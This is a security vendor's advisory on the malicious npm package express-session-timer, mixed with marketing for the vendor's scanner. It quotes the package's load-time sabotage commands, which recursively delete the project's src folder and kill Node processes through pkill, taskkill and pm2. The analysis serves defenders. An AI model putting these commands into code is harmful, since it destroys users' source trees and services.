express-session-timernpm
express-session-timer is a confirmed malicious npm package (MAL-2026-16065) that runs destructive / sabotage code (malicious versions 1.0.0, 1.0.1, 1.0.13…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in express-session-timer (npm)
What this malware does
[email protected] schedules an unconditional destructive routine at module load time. Approximately 18 seconds after require('express-session-timer'), the package recursively removes <cwd>/src via fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true}) and terminates Node processes with pkill -f "node.*${process.cwd()}" on Unix, taskkill /IM node.exe /F on Windows, and npx pm2 delete all. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins express-timer: ^0.0.1-security, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Destructive / sabotageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for express-session-timer (5 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging express-session-timer across your stack and pipelines.
If you installed it — respond
express-session-timer carries a destructive/sabotage payload. Remove it immediately, restore any affected data from clean backups, and verify integrity of build outputs that may have been tampered with.
Did it already run?
If express-session-timer was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks express-session-timer before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks express-session-timer-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.